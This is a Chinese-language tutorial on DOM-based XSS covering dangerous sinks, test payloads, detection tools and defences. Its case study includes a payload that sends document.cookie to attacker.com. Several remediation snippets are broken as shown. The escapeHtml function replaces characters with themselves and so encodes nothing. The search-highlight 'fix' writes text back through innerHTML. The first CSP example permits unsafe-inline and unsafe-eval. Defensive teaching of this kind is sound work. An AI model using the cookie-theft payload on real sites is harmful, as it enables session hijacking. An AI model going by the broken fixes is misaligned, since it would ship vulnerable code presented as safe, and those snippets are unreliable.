答案
DOM 型 XSS(DOM-based XSS)是一种特殊的 XSS 攻击类型,它与传统的存储型和反射型 XSS 有本质区别。DOM 型 XSS 的漏洞完全存在于客户端的 DOM(文档对象模型)操作中,不涉及服务器的数据处理。
DOM 型 XSS 的核心原理
定义: DOM 型 XSS 是指攻击者利用客户端 JavaScript 代码中的漏洞,通过修改 DOM 结构来注入恶意脚本。这种攻击不经过服务器,恶意脚本直接在浏览器中执行。
与传统 XSS 的区别:
- 存储型 XSS:恶意脚本存储在服务器数据库中
- 反射型 XSS:恶意脚本通过 URL 参数传递,服务器将其反射回响应
- DOM 型 XSS:恶意脚本不经过服务器,完全在客户端执行
DOM 型 XSS 的攻击流程
- 攻击者构造恶意 URL:包含恶意脚本片段的 URL
- 用户访问恶意 URL:用户被诱骗访问包含恶意参数的 URL
- JavaScript 读取 URL 参数:页面中的 JavaScript 代码读取 URL 参数(如
location.hash、location.search) - 不安全的 DOM 操作:JavaScript 将未经验证的数据直接插入 DOM
- 恶意脚本执行:浏览器解析 DOM 时执行恶意脚本
常见的 DOM 型 XSS 漏洞场景
1. 使用 innerHTML 直接插入用户输入
不安全代码:
javascript// 危险:直接将用户输入插入 innerHTML const userInput = location.hash.substring(1); document.getElementById('output').innerHTML = userInput;
攻击示例:
shellhttp://example.com/page#<img src=x onerror=alert('XSS')>
修复方法:
javascript// 安全:使用 textContent const userInput = location.hash.substring(1); document.getElementById('output').textContent = userInput;
2. 使用 document.write 写入用户输入
不安全代码:
javascript// 危险:使用 document.write 写入用户输入 const query = new URLSearchParams(location.search).get('q'); document.write('<div>' + query + '</div>');
攻击示例:
shellhttp://example.com/search?q=<script>alert('XSS')</script>
修复方法:
javascript// 安全:先编码再写入 const query = new URLSearchParams(location.search).get('q'); const encoded = escapeHtml(query); document.write('<div>' + encoded + '</div>');
3. 使用 eval 执行用户输入
不安全代码:
javascript// 危险:使用 eval 执行用户输入 const data = location.hash.substring(1); eval('processData("' + data + '")');
攻击示例:
shellhttp://example.com/page#");alert('XSS');//
修复方法:
javascript// 安全:避免使用 eval const data = location.hash.substring(1); processData(data);
4. 使用 setTimeout/setInterval 执行用户输入
不安全代码:
javascript// 危险:将用户输入作为字符串传递给 setTimeout const userInput = location.search.substring(1); setTimeout(userInput, 1000);
攻击示例:
shellhttp://example.com/page?alert('XSS')
修复方法:
javascript// 安全:传递函数而不是字符串 const userInput = location.search.substring(1); setTimeout(() => processData(userInput), 1000);
5. 使用 location 对象属性
不安全代码:
javascript// 危险:直接使用 location 属性 document.getElementById('welcome').innerHTML = 'Welcome, ' + location.hash;
攻击示例:
shellhttp://example.com/page#<script>alert('XSS')</script>
修复方法:
javascript// 安全:验证和编码 const hash = location.hash.substring(1); const encoded = escapeHtml(hash); document.getElementById('welcome').innerHTML = 'Welcome, ' + encoded;
DOM 型 XSS 的检测方法
1. 手动检测
步骤:
- 识别页面中读取 URL 参数的 JavaScript 代码
- 查找使用
innerHTML、document.write、eval等危险 API 的地方 - 构造测试 payload:
<script>alert(1)</script>或<img src=x onerror=alert(1)> - 将 payload 插入 URL 参数中
- 访问 URL,检查是否执行
测试示例:
shell# 测试 location.hash http://example.com/page#<img src=x onerror=alert(1)> # 测试 location.search http://example.com/page?q=<script>alert(1)</script> # 测试 location.pathname http://example.com/<script>alert(1)</script>
2. 自动化检测工具
常用工具:
- DOM XSS Scanner:专门用于检测 DOM 型 XSS
- OWASP ZAP:包含 DOM XSS 检测功能
- Burp Suite:可以检测 DOM 型 XSS 漏洞
- XSStrike:支持 DOM XSS 检测
3. 静态代码分析
检查要点:
- 搜索
innerHTML、outerHTML、document.write等危险 API - 搜索
eval、new Function()等动态代码执行 - 检查是否直接使用
location、window.name等用户可控数据 - 检查是否对用户输入进行了验证和编码
DOM 型 XSS 的防护策略
1. 使用安全的 DOM API
避免使用:
javascript// 不安全 element.innerHTML = userInput; element.outerHTML = userInput; document.write(userInput);
使用安全的替代方案:
javascript// 安全 element.textContent = userInput; element.innerText = userInput; element.insertAdjacentText('beforeend', userInput);
2. 对用户输入进行编码
HTML 编码函数:
javascriptfunction escapeHtml(unsafe) { return unsafe .replace(/&/g, "&") .replace(/</g, "<") .replace(/>/g, ">") .replace(/"/g, """) .replace(/'/g, "'"); } // 使用 const userInput = location.hash.substring(1); element.innerHTML = escapeHtml(userInput);
3. 避免动态代码执行
避免使用:
javascript// 不安全 eval(userInput); new Function(userInput); setTimeout(userInput, 1000); setInterval(userInput, 1000);
使用安全的替代方案:
javascript// 安全 const data = JSON.parse(userInput); processData(data); setTimeout(() => processData(userInput), 1000);
4. 使用 Content Security Policy (CSP)
CSP 配置示例:
shellContent-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';
更严格的 CSP:
shellContent-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self';
5. 使用框架提供的安全机制
React 示例:
jsx// React 默认会对数据进行转义 function UserInput({ input }) { return <div>{input}</div>; // 自动转义 } // 如果必须使用 innerHTML,使用 dangerouslySetInnerHTML function UserInput({ input }) { return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(input) }} />; }
Vue 示例:
vue<!-- Vue 默认会对数据进行转义 --> <template> <div>{{ userInput }}</div> <!-- 自动转义 --> </template> <!-- 如果必须使用 v-html,先进行净化 --> <template> <div v-html="sanitizedInput"></div> </template> <script> import DOMPurify from 'dompurify'; export default { data() { return { userInput: '', sanitizedInput: '' }; }, watch: { userInput(newVal) { this.sanitizedInput = DOMPurify.sanitize(newVal); } } }; </script>
6. 输入验证
javascriptfunction validateInput(input) { // 白名单验证 const allowedChars = /^[a-zA-Z0-9\s\-_.,!?]+$/; return allowedChars.test(input); } // 使用 const userInput = location.hash.substring(1); if (validateInput(userInput)) { element.textContent = userInput; }
实际案例分析
案例 1:社交媒体分享功能
javascript// 不安全的实现 function shareContent() { const shareText = location.hash.substring(1); document.getElementById('share-preview').innerHTML = shareText; } // 攻击 URL http://example.com/share#<img src=x onerror=fetch('http://attacker.com/steal?c='+document.cookie)> // 修复 function shareContent() { const shareText = location.hash.substring(1); document.getElementById('share-preview').textContent = shareText; }
案例 2:搜索结果高亮
javascript// 不安全的实现 function highlightSearch() { const query = new URLSearchParams(location.search).get('q'); const content = document.getElementById('content').innerHTML; const highlighted = content.replace(new RegExp(query, 'gi'), '<mark>$&</mark>'); document.getElementById('content').innerHTML = highlighted; } // 攻击 URL http://example.com/search?q=<script>alert(1)</script> // 修复 function highlightSearch() { const query = new URLSearchParams(location.search).get('q'); const safeQuery = escapeHtml(query); const content = document.getElementById('content').textContent; const highlighted = content.replace(new RegExp(safeQuery, 'gi'), '<mark>$&</mark>'); document.getElementById('content').innerHTML = highlighted; }
总结
DOM 型 XSS 是一种隐蔽且危险的 XSS 攻击类型,因为它完全在客户端执行,传统的服务器端防护措施无法检测和阻止。防护 DOM 型 XSS 需要开发者:
- 使用安全的 DOM API(如
textContent代替innerHTML) - 对所有用户输入进行适当的编码
- 避免使用
eval、document.write等危险函数 - 实施 Content Security Policy
- 使用框架提供的安全机制
- 进行严格的输入验证
通过遵循这些最佳实践,可以有效地防止 DOM 型 XSS 攻击。